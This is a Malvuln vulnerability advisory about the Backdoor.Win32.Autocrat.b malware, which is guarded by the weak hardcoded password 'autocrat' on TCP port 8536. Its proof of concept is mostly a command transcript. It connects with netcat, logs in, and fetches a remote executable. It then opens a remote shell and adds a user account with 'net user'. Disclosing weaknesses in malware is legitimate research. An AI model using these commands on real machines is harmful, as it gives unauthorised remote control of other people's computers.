Backdoor.Win32.Autocrat.b MVID-2022-0660 Weak Hardcoded Credential

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/4262a8b52b902aa2e6bf02a156d1b8d4.txt  
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Threat: Backdoor.Win32.Autocrat.b  
Vulnerability: Weak Hardcoded Credentials  
Description: The malware is packed with PeCompact, listens on TCP port 8536 and requires authentication. However, the password "autocrat" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.  
Family: Autocrat  
Type: PE32  
MD5: 4262a8b52b902aa2e6bf02a156d1b8d4  
Vuln ID: MVID-2022-0660  
Dropped files: srvsupp.exe  
Disclosure: 11/24/2022  
  
  
Exploit/PoC:  
C:\Users\gg\Desktop>nc64.exe x.x.x.x 8536  
Login:autocrat  
  
WinShell v5.0 (C)2002 janker.org  
  
? for help  
CMD>?  
  
i Install  
r Remove  
p Path  
b reBoot  
d shutDown  
s Shell  
x eXit  
q Quit  
  
Download:  
CMD>http://.../srv.exe  
  
? for help  
CMD>s  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\Users\Victim\Desktop>whoami  
whoami  
desktop-2c3iqho\victim  
  
C:\Users\Victim\Desktop>net user apparitionsec 666 /add  
net user apparitionsec 666 /add  
The command completed successfully.  
  
  
C:\Users\Victim\Desktop>  
  
  
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